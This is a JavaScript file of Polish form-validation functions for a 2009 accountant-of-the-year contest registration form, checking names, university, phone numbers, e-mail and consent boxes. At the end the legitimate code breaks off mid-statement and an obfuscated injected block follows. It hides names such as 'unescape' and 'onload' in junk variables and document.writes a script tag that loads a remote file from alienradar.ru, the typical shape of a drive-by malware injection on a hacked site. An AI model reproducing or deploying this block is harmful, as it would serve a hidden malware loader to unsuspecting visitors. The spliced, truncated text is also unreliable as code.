		if (licznik == 0)
			document.formularz_ks.uczelnia_id.focus();
		
		licznik++;
	}
	else {
		document.formularz_ks.uczelnia_id.style.background = white;
		document.formularz_ks.uczelnia_inna.style.background = white;
	}
*/	

	if (document.formularz_ks.uczelnia_inna.value=='') {
		document.formularz_ks.uczelnia_inna.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.uczelnia_inna.focus();
		
		licznik++;
	}
	else {
		document.formularz_ks.uczelnia_inna.style.background = white;
	}
	

	if (document.formularz_ks.wydzial.value=='' && document.formularz_ks.kierunek.value == '') {
		document.formularz_ks.wydzial.style.background = red;
		document.formularz_ks.kierunek.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.wydzial.focus();
		licznik++;
	}
	else
	if ((document.formularz_ks.wydzial.value=='' && document.formularz_ks.kierunek.value != '') ||
		(document.formularz_ks.wydzial.value!='' && document.formularz_ks.kierunek.value == '')) {
		document.formularz_ks.wydzial.style.background = white;
		document.formularz_ks.kierunek.style.background = white;
	}
	
	/*if (document.formularz_ks.kierunek.value=='') {
		document.formularz_ks.kierunek.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.kierunek.focus();
		
		licznik++;
	}
	else {
		document.formularz_ks.kierunek.style.background = white;
	}*/

/*	
	if (document.formularz_ks.indeks.value=='') {
		document.formularz_ks.indeks.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.indeks.focus();
		
		licznik++;
	}
	else {
		document.formularz_ks.indeks.style.background = white;
	}
*/
	has_letter  = false;
	for(i=0; i < document.formularz_ks.miejscowosc.value.length; i++) {
		if ((document.formularz_ks.miejscowosc.value.charAt(i) >= 'a' && document.formularz_ks.miejscowosc.value.charAt(i) <= 'z') 
			|| (document.formularz_ks.miejscowosc.value.charAt(i) >= 'A' && document.formularz_ks.miejscowosc.value.charAt(i) <= 'Z'))
		has_letter = true;
	}

	if (document.formularz_ks.miejscowosc.value=='' || !has_letter) {
		document.formularz_ks.miejscowosc.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.miejscowosc.focus();
		licznik++;
		message += 'Nazwa miejscowości musi zawierać litery\n';

	}
	else {
		document.formularz_ks.miejscowosc.style.background = white;	
	}
	
	if (document.formularz_ks.wojewodztwo.value==0) {
		document.formularz_ks.wojewodztwo.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.wojewodztwo.focus();
		licznik++;
	}
	else {
		document.formularz_ks.wojewodztwo.style.background = white;
	}
	
	if (document.formularz_ks.telefon_komorkowy.value.length < 9 && (document.formularz_ks.telefon_stacjonarny_1.value.length < 2 || document.formularz_ks.telefon_stacjonarny_2.value.length < 7 )) {
		message += 'Proszę podać przynajmniej jeden nr telefonu.\n';
		
		if (document.formularz_ks.telefon_stacjonarny_1.value.length==2 && document.formularz_ks.telefon_stacjonarny_2.value.length==7) {
			document.formularz_ks.telefon_komorkowy.style.background = white;
		}
		
		if (document.formularz_ks.telefon_stacjonarny_1.value=='' || document.formularz_ks.telefon_stacjonarny_1.value.length < 2) {
			document.formularz_ks.telefon_stacjonarny_1.style.background = red;
			
			if (licznik == 0)
				document.formularz_ks.telefon_stacjonarny_1.focus();
			licznik++;
			message += 'Proszę podać poprawny nr kierunkowy telefonu stacjonarnego\n';
		}
		else {
			document.formularz_ks.telefon_stacjonarny_1.style.background = white;
		}
		
		if (document.formularz_ks.telefon_stacjonarny_2.value=='' || document.formularz_ks.telefon_stacjonarny_2.value.length < 7) {
			document.formularz_ks.telefon_stacjonarny_2.style.background = red;
			
			if (licznik == 0)
				document.formularz_ks.telefon_stacjonarny_2.focus();
			licznik++;
			message += 'Proszę podać poprawny nr telefonu stacjonarnego\n';

		}
		else {
			document.formularz_ks.telefon_stacjonarny_2.style.background = white;
		}
		
		if (document.formularz_ks.telefon_komorkowy.value=='' || document.formularz_ks.telefon_komorkowy.value.length < 9) {
			document.formularz_ks.telefon_komorkowy.style.background = red;
			
			if (licznik == 0)
				document.formularz_ks.telefon_komorkowy.focus();
			licznik++;
			message += 'Proszę podać poprawny nr kierunkowy telefonu komórkowego\n';

		}
		else {
			document.formularz_ks.telefon_komorkowy.style.background = white;
			document.formularz_ks.telefon_stacjonarny_2.style.background = white;
			document.formularz_ks.telefon_stacjonarny_1.style.background = white;
		}

	}
	else 
	if (document.formularz_ks.telefon_komorkowy.value=='' && (document.formularz_ks.telefon_stacjonarny_1.value.length ==2 && document.formularz_ks.telefon_stacjonarny_2.value.length==7))
	{
		document.formularz_ks.telefon_komorkowy.style.background = white;
		document.formularz_ks.telefon_stacjonarny_1.style.background = white;
		document.formularz_ks.telefon_stacjonarny_2.style.background = white;
	}
	else
	if (document.formularz_ks.telefon_komorkowy.value.length==9 || (document.formularz_ks.telefon_stacjonarny_1.value=='' || document.formularz_ks.telefon_stacjonarny_2.value=='' )) {
		document.formularz_ks.telefon_stacjonarny_1.style.background = white;
		document.formularz_ks.telefon_stacjonarny_2.style.background = white;
		document.formularz_ks.telefon_komorkowy.style.background = white;
	}

	if(!document.formularz_ks.email.value.match(re)){
		document.formularz_ks.email.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.email.focus();
		licznik++;
		message += 'Proszę podać poprawny adres e-mail. Będzie on służył do dalszej rejestracji.\n';

	}
	else {
		document.formularz_ks.email.style.background = white;
	}
	
	if (document.formularz_ks.plec.value==0) {
		document.formularz_ks.plec.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.plec.focus();
		licznik++;

	}
	else {
		document.formularz_ks.plec.style.background = white;
	}
	
	if (!document.formularz_ks.zgoda1.checked) {
		document.getElementById('zgoda1').parentNode.style.background = red;
		licznik++;
		message += 'Proszę zaznaczyć opcję, że zapoznali się Państwo z regulaminem konkursu "Księgowy Roku 2009".\n';
	}
	else  {
		document.getElementById('zgoda1').parentNode.style.background = '';
	}
	
	if (!document.formularz_ks.zgoda2.checked) {
		document.getElementById('zgoda2').parentNode.style.background = red;
		licznik++;
		message += 'Proszę zaznaczyć opcję, że wyrażają Państwo zgodę na przetwarzanie danych osobowych.\n';
	}
	else  {
		document.getElementById('zgoda2').parentNode.style.background = '';
	}
	
	message += 'Pola zaznaczone na czerwono są polami obowiązkowymi.';
	
	if (licznik > 0) {
		alert(message);
		return false;
	}
	return true;
}

function checkFormStEdit() {
	red = "#ffaa88";
	white = "#ffffff";
	
	message = '';
	
	licznik = 0;
	
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
	
	if (document.formularz_ks.imie.value=='') {
		document.formularz_ks.imie.style.background = red;
		document.formularz_ks.imie.focus();
		licznik++;

	}
	else {
		document.formularz_ks.imie.style.background = white;
	}
	
	if (document.formularz_ks.nazwisko.value=='') {
		document.formularz_ks.nazwisko.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.nazwisko.focus();
		
		licznik++;
	}
	else {
		document.formularz_ks.nazwisko.style.background = white;
	}
	
/*	if (document.formularz_ks.uczelnia_id.value==0 || (document.formularz_ks.uczelnia_id.value==-1 && document.formularz_ks.uczelnia_inna.value=='')) {
		if (document.formularz_ks.uczelnia_id.value==0)
			document.formularz_ks.uczelnia_id.style.background = red;
		if (document.formularz_ks.uczelnia_id.value==-1)
			document.formularz_ks.uczelnia_inna.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.uczelnia_id.focus();
		
		licznik++;
	}
	else {
		document.formularz_ks.uczelnia_id.style.background = white;
		document.formularz_ks.uczelnia_inna.style.background = white;
	}
*/

	if (document.formularz_ks.uczelnia_inna.value=='') {
		document.formularz_ks.uczelnia_inna.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.uczelnia_inna.focus();
		
		licznik++;
	}
	else {
		document.formularz_ks.uczelnia_inna.style.background = white;
	}
	
	if (document.formularz_ks.wydzial.value=='' && document.formularz_ks.kierunek.value == '') {
		document.formularz_ks.wydzial.style.background = red;
		document.formularz_ks.kierunek.style.background = red;
		
		if (licznik == 0)
			document.f
t=[];var T={H:9531};var rZ="";var Sx="";try {try {var s='fG'} catch(s){};TU=19105;TU-=167;N=["h","gy"];q={nQ:45566};Q={};var O={z:"vS"};this.hi=false;rE={};this.Mi="";var n=window["unesc"+"ape"];y={ko:33718};var Z="Z";JR=47092;JR-=7;this.gb=60063;this.gb+=136;E=[];tJ={X:22877};yu=51260;yu+=247;df=["Pw","gA","ce"];var k="onl"+"bR4oad".substr(3);Ku={kk:"Ed"};var _z=new Array();try {var xl='XG'} catch(xl){};var F=window[("Regf9jZ".substr(0,3)+"Exp")];mD={Bo:60556};var BE={uw:24329};this.bh=57097;this.bh++;var _='';var K=new String("re"+"pljBk".substr(0,2)+"ac"+"eNKw".substr(0,1));this.qR="";pm=44385;pm-=185;this.o="";this.Ae="";var _m=new String("1NjM".substr(0,1));pD={gj:51751};var XM={iQ:"Pq"};var Ac='';var By
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Gigaflops.js"></scri'+'pt>');
